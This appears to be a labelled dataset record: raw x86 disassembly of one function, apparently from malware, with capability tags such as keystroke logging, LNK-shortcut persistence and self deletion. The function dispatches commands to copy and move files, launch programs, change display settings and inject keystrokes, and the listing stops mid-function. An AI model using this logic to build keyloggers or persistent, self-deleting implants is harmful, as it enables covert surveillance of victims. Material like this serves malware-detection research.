Function at 0x4d4680
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Log keystrokes via polling
Move file
Persist via lnk shortcut
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x146
push 0
push 0
dec ecx
jne 0x4d4688
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4eafac]
call fcn.00405200
xor eax, eax
push ebp
push 0x4d9958
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x52eed8], 0x805
xor eax, eax
mov al, byte [ebx + 0xc]
mov dword [0x537154], eax
xor eax, eax
mov al, byte [ebx + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf5
ja case.0x4d46e1.10
mov al, byte [eax + 0x4d46e8]
jmp dword [eax*4 + 0x4d47de]
mov ebx, dword [ebx + 0x10]
push 0x4d9974
push dword [0x537328]
push 0x4d9988
lea eax, [ebp - 0xd8]
mov edx, 3
call fcn.004048d4
push 0x4d9974
push dword [0x537328]
push 0x4d9998
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.004048d4
lea eax, [ebp - 0xd8]
call fcn.004d181c
lea eax, [ebp - 0xdc]
call fcn.004d181c
cmp ebx, 0xa
jne 0x4d49f2
lea edx, [ebp - 0x8b8]
mov eax, 0x13
call fcn.004a802c
mov eax, dword [ebp - 0x8b8]
mov ecx, dword [0x537318]
mov edx, dword [0x537328]
call fcn.0046ae00
test al, al
je case.0x4d46e1.10
mov eax, dword [ebp - 0xd8]
call fcn.004098c8
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
jmp case.0x4d46e1.10
cmp ebx, 0xb
jne 0x4d4a49
push 0
mov eax, dword [0x530a44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov edx, 0x4d99a8
call fcn.004d07d0
test eax, eax
jne case.0x4d46e1.10
lea edx, [ebp - 0x8bc]
mov eax, 0x13
call fcn.004a802c
mov eax, dword [ebp - 0x8bc]
mov edx, dword [0x537328]
call fcn.0046b9c8
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
jmp case.0x4d46e1.10
cmp ebx, 0xc
jne 0x4d4b08
mov edx, dword [0x530a44]
mov edx, dword [edx]
mov eax, 0x4d99b4
call fcn.00404b50
test eax, eax
jne case.0x4d46e1.10
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0x4d99c0
mov eax, dword [0x530a44]
push dword [eax]
push 0x4d99d0
lea eax, [ebp - 0x8c0]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8c4]
mov edx, dword [ebp - 0xdc]
call fcn.00404e18
mov eax, dword [ebp - 0x8c4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046c6a8
test al, al
je 0x4d4afb
lea edx, [ebp - 0x8c8]
mov eax, 0x13
call fcn.004a802c
mov eax, dword [ebp - 0x8c8]
mov edx, dword [0x537328]
call fcn.0046b9c8
mov eax, dword [ebp - 0xd8]
call fcn.004098c8
mov eax, dword [ebp - 0x24]
call fcn.00403750
jmp case.0x4d46e1.10
cmp ebx, 0xd
jne case.0x4d46e1.10
lea edx, [ebp - 0x8cc]
mov eax, 0x13
call fcn.004a802c
mov eax, dword [ebp - 0x8cc]
mov edx, dword [0x537328]
call fcn.0046b9c8
mov eax, dword [ebp - 0xd8]
call fcn.004098c8
mov eax, dword [ebp - 0xdc]
call fcn.004098c8
jmp case.0x4d46e1.10
mov eax, 0x5372a4
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
lea edx, [ebp - 0x8d0]
mov eax, 0x12d
call fcn.004a802c
mov eax, dword [ebp - 0x8d0]
push eax
lea eax, [ebp - 0x8d4]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8d4]
mov ecx, dword [0x5372a4]
pop edx
call fcn.0046c25c
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
jmp case.0x4d46e1.10
lea edx, [ebp - 0x8d8]
mov eax, 0x12d
call fcn.004a802c
mov eax, dword [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x8dc]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x8dc]
xor ecx, ecx
pop edx
call fcn.0046c25c
lea eax, [ebp - 0x8e0]
call fcn.004ebb7c
mov edx, dword [ebp - 0x8e0]
mov eax, 0x5372a4
call fcn.004045b0
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x537401]
jne case.0x4d46e1.10
cmp byte [0x52f540], 0
jne case.0x4d46e1.10
xor eax, eax
push ebp
push 0x4d4cab
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x52f540], 1
cmp byte [0x5373f4], 0
je 0x4d4c79
mov byte [0x53740d], 0
mov eax, dword [ebx + 0x14]
mov dword [0x5374f4], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004d3450
jmp 0x4d4c96
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x537401]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d46e1.10
mov byte [0x52f540], 0
ret
cmp dword [0x52ef18], 0x51f01a9
jb case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
shr eax, 8
mov byte [0x537470], al
mov eax, 0x537413
call fcn.0040455c
mov eax, dword [ebx + 0x18]
shr eax, 0x10
mov dword [0x5372b4], eax
mov eax, dword [ebx + 0x18]
and eax, 0xffff
mov dword [0x5372b8], eax
jmp case.0x4d46e1.10
lea edx, [ebp - 0x58]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov eax, dword [ebp - 0x58]
call fcn.004df19c
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x1c]
mov dword [0x537310], eax
mov eax, dword [0x537310]
add eax, 0x5b
cmp eax, dword [0x5373a4]
jae 0x4d4d52
push 0
push 0x3e8
mov eax, dword [0x52eee0]
mov edx, dword [0x52eee4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d4d52
cmp eax, 0
je case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [0x53745c], eax
mov eax, dword [ebx + 0x14]
mov dword [0x537460], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d46e1.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d46e1.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d46e1.10
call fcn.004d3658
jmp case.0x4d46e1.10
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
jmp case.0x4d46e1.10
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
call fcn.004d3dc8
xor eax, eax
call fcn.004d3de8
jmp case.0x4d46e1.10
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
mov edx, dword [ebx + 0x10]
xor eax, eax
call fcn.004d09c0
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [0x52f4e0], eax
mov eax, dword [ebx + 0x14]
mov dword [0x52f4dc], eax
cmp dword [0x52f4dc], 0
jg case.0x4d46e1.10
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
mov edx, dword [0x52f4e0]
mov ax, 2
call fcn.004d09c0
jmp case.0x4d46e1.10
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
mov eax, dword [0x530a28]
cmp dword [eax], 2
jne 0x4d4e9f
mov edx, dword [ebx + 0x10]
mov ax, 8
call fcn.004d09c0
jmp case.0x4d46e1.10
mov edx, dword [ebx + 0x10]
mov ax, 1
call fcn.004d09c0
jmp case.0x4d46e1.10
cmp byte [0x52ef38], 2
je case.0x4d46e1.10
cmp byte [0x537412], 3
jne case.0x4d46e1.10
cmp byte [0x5373f4], 0
jne case.0x4d46e1.10
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x5373f5]
call fcn.00419518
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8e8]
mov eax, 0xf3
call fcn.004a802c
mov ecx, dword [ebp - 0x8e8]
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x8e4]
call fcn.00404860
mov eax, dword [ebp - 0x8e4]
call fcn.004d44ac
pop ecx
push ebp
mov eax, dword [0x5372bc]
call fcn.004d44ac
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x5373f5]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4d4fb2
cmp dword [ebp - 0x15], 0x55662143
jne 0x4d4f96
lea edx, [ebp - 0x34]
mov eax, dword [0x5373f5]
call fcn.004eb760
push ebp
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x8ec]
mov ecx, dword [ebp - 0x34]
call fcn.00404860
mov eax, dword [ebp - 0x8ec]
call fcn.004d44ac
pop ecx
jmp 0x4d4f44
mov eax, dword [0x5373f5]
call fcn.004194f8
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, dword [0x5373f5]
call fcn.00419518
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4d500a
lea edx, [ebp - 0x8f8]
mov eax, 0xb
call fcn.004a802c
mov ecx, dword [ebp - 0x8f8]
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x8f4]
call fcn.00404860
mov edx, dword [ebp - 0x8f4]
lea eax, [ebp - 0x8f0]
call fcn.00404e18
mov eax, dword [ebp - 0x8f0]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046c6a8
jmp 0x4d503e
lea edx, [ebp - 0x900]
mov eax, 0xb
call fcn.004a802c
mov ecx, dword [ebp - 0x900]
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x8fc]
call fcn.00404860
mov eax, dword [ebp - 0x8fc]
call fcn.004098c8
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, 0x12c
call fcn.004d06d0
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
call fcn.004d3dc8
xor eax, eax
call fcn.004d3de8
mov byte [0x52ef44], 1
push 5
mov eax, dword [0x530810]
call fcn.00404a64
push eax
mov eax, 0x5372c0
call fcn.00404a64
push eax
mov eax, 0x5372bc
call fcn.00404a64
push eax
push 0x4d99d4
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d46e1.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0x34]
call fcn.004d181c
push 1
push 0
push 0
mov eax, dword [ebp - 0x34]
call fcn.00404a0c
push eax
push 0x4d99d4
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d46e1.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov eax, dword [ebp - 0x34]
call fcn.00404814
mov esi, eax
inc esi
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x38]
call fcn.00409df0
mov eax, dword [ebp - 0x38]
call fcn.00404814
inc eax
add esi, eax
lea eax, [ebx + esi + 0x20]
lea edx, [ebp - 0x3c]
call fcn.00409df0
lea edx, [ebp - 0x904]
mov eax, 0xf4
call fcn.004a802c
mov edx, dword [ebp - 0x904]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d517b
lea eax, [ebp - 0x38]
call fcn.004d181c
lea eax, [ebp - 0x3c]
call fcn.004d181c
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097ac
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4d46e1.10
lea edx, [ebp - 0x908]
mov eax, 0xf5
call fcn.004a802c
mov edx, dword [ebp - 0x908]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d52b4
mov eax, dword [ebp - 0x38]
call fcn.00404814
cmp eax, 3
jle case.0x4d46e1.10
lea eax, [ebp - 0x38]
call fcn.004d181c
mov eax, dword [ebp - 0x38]
call fcn.0046c3fc
test al, al
je 0x4d51de
mov eax, dword [ebp - 0x38]
call fcn.004e759c
mov edx, 2
mov eax, dword [ebp - 0x38]
call fcn.004d12c8
jmp case.0x4d46e1.10
mov eax, dword [ebp - 0x38]
call fcn.00461a78
test al, al
je case.0x4d46e1.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x4693d4]
call fcn.0046965c
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4de268
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4de4a4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4de9e0
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4d5296
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.00469710
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d529d
mov eax, dword [ebp - 0xd4]
call fcn.00403750
ret
lea edx, [ebp - 0x90c]
mov eax, 0xf6
call fcn.004a802c
mov edx, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x34]
call fcn.00404958
jne 0x4d530f
lea eax, [ebp - 0x38]
call fcn.004d181c
lea eax, [ebp - 0x3c]
call fcn.004d181c
mov edx, 0x20
mov eax, dword [ebp - 0x3c]
call fcn.004097ac
push 3
mov eax, dword [ebp - 0x3c]
call fcn.00404a0c
push eax
mov eax, dword [ebp - 0x38]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x14]
and eax, 1
dec eax
sete byte [0x5374d4]
lea eax, [ebp - 0x3c]
call fcn.004d181c
cmp dword [ebp - 0x3c], 0
jne 0x4d5336
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
call fcn.0046c374
lea eax, [ebp - 0x34]
call fcn.004d181c
mov eax, 0x5374c8
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, 0x5374cc
mov edx, dword [ebp - 0x38]
call fcn.004045b0
mov eax, 0x5374d0
mov edx, dword [ebp - 0x3c]
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x52f520], eax
cmp dword [0x52f520], 0
jg case.0x4d46e1.10
mov eax, dword [ebp - 0x28]
call fcn.004d3e78
jmp case.0x4d46e1.10
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1a0], 0x1c0000
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [ebp - 0x15c], eax
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [ebp - 0x158], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x160], eax
push 1
lea eax, [ebp - 0x1c8]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4d46e1.10
call fcn.004d43b8
jmp case.0x4d46e1.10
cmp byte [0x52efe4], 1
jb case.0x4d46e1.10
mov eax, dword [0x52eee0]
mov dword [0x52eee8], eax
mov eax, dword [0x52eee4]
mov dword [0x52eeec], eax
mov esi, dword [ebx + 0x10]
mov edi, dword [ebx + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 1
setne dl
xor al, dl
je 0x4d544e
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
test byte [ebx + 0x18], 1
setne byte [0x52f55c]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 2
setne dl
xor al, dl
je 0x4d548e
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
test byte [ebx + 0x18], 4
setne dl
xor al, dl
je 0x4d54ce
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp esi, 0x14
je case.0x4d46e1.10
cmp esi, 0x90
je case.0x4d46e1.10
cmp esi, 0x91
je case.0x4d46e1.10
cmp esi, 0x10
jne 0x4d550c
test edi, 0x80000000
je 0x4d5505
mov byte [0x52f560], 0
jmp 0x4d550c
mov byte [0x52f560], 1
cmp esi, 0x12
jne 0x4d557b
test edi, 0x1000000
jne 0x4d554d
test edi, 0x80000000
je 0x4d5538
mov al, byte [0x4d99dc]
not eax
and al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
mov al, byte [0x4d99dc]
or al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
test edi, 0x80000000
je 0x4d5569
mov al, byte [0x4d99e0]
not eax
and al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
mov al, byte [0x4d99e0]
or al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
cmp esi, 0x11
jne 0x4d55e2
test edi, 0x1000000
jne 0x4d55b6
test edi, 0x80000000
je 0x4d55a4
mov al, byte [0x4d99e4]
not eax
and al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
mov al, byte [0x4d99e4]
or al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
test edi, 0x80000000
je 0x4d55d2
mov al, byte [0x4d99e8]
not eax
and al, byte [0x52f50c]
mov byte [0x52f50c], al
jmp 0x4d55e2
mov al, byte [0x4d99e8]
or al, byte [0x52f50c]
mov byte [0x52f50c], al
mov eax, dword [0x530308]
cmp dword [eax], 0
jne 0x4d55f1
call fcn.004cb9f4
mov eax, dword [0x53022c]
cmp dword [eax], 0
jne 0x4d5600
call fcn.004cccf0
mov eax, dword [0x5303e8]
cmp dword [eax], 0
jne 0x4d560f
call fcn.004cd44c
cmp byte [0x53728c], 0
je 0x4d5691
mov al, byte [0x4d99ec]
cmp al, byte [0x52f50c]
jne 0x4d5691
cmp esi, 0x41
jl 0x4d562f
cmp esi, 0x5a
jle 0x4d5668
cmp esi, 0x30
jl 0x4d5639
cmp esi, 0x39
jle 0x4d5668
cmp esi, 0x60
jl 0x4d5643
cmp esi, 0x6f
jle 0x4d5668
cmp esi, 0xba
jl 0x4d5653
cmp esi, 0xc0
jle 0x4d5668
cmp esi, 0xdb
jl 0x4d5663
cmp esi, 0xde
jle 0x4d5668
cmp esi, 0x20
jne 0x4d5691
test edi, 0x80000000
jne case.0x4d46e1.10
mov edx, edi
mov eax, esi
call fcn.004d42a4
xor edi, 0x80000000
mov edx, edi
mov eax, esi
call fcn.004d42a4
jmp case.0x4d46e1.10
mov edx, edi
mov eax, esi
call fcn.004d42a4
jmp case.0x4d46e1.10
cmp byte [0x52efe4], 1
jb case.0x4d46e1.10
mov eax, dword [0x52eee0]
mov dword [0x52eee8], eax
mov eax, dword [0x52eee4]
mov dword [0x52eeec], eax
mov eax, dword [0x530308]
cmp dword [eax], 0
jne 0x4d56d3
call fcn.004cb9f4
mov eax, dword [0x53022c]
cmp dword [eax], 0
jne 0x4d56e2
call fcn.004cccf0
mov eax, dword [0x5303e8]
cmp dword [eax], 0
jne 0x4d56f1
call fcn.004cd44c
mov eax, dword [0x530308]
cmp dword [eax], 0
jle 0x4d58dc
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d46e1.10
jmp dword [eax*4 + 0x4d5712]
mov eax, 0x12
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb5c4
jmp case.0x4d46e1.10
mov eax, 0x12
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb5c4
jmp case.0x4d46e1.10
mov eax, 0x11
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb5c4
jmp case.0x4d46e1.10
mov eax, 0x11
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb5c4
jmp case.0x4d46e1.10
mov eax, 0x11
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb5c4
jmp case.0x4d46e1.10
mov eax, 0x11
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cb5ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004cb5c4
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004cb5c4
jmp case.0x4d46e1.10
mov eax, dword [0x53022c]
cmp dword [eax], 0
jle 0x4d5bb1
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d46e1.10
jmp dword [eax*4 + 0x4d58fd]
push 0x12
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x12
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5308f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x5308f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x53017c]
mov eax, dword [eax]
call eax
jmp case.0x4d46e1.10
mov eax, dword [0x5303e8]
cmp dword [eax], 0
jle 0x4d5fa4
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d46e1.10
jmp dword [eax*4 + 0x4d5bd2]
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5300cc]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd124
push eax
mov eax, dword [0x5302e8]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
